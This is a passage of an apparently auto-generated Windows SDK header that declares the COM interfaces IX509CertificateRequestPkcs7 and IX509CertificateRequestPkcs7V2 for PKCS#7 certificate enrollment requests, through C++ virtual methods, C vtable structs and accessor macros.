put_RequesterName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs7Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs7 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs7Vtbl;\n\n    interface IX509CertificateRequestPkcs7\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs7Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs7_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs7_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs7_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs7_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs7_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs7_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs7_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs7_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs7_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs7_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs7_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs7_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs7_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestPkcs7_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs7_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs7V2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs7V2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs7V2 : public IX509CertificateRequestPkcs7\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckCertificateSignature( \n            /* [in] */ VARIANT_BOOL ValidateCertificateChain) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs7V2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs7V2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckCertificateSignature )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs7V2Vtbl;\n\n    interface IX509CertificateRequestPkcs7V2\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs7V2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs7V2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs7V2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs7V2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs7V2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs7V2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs7V2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> 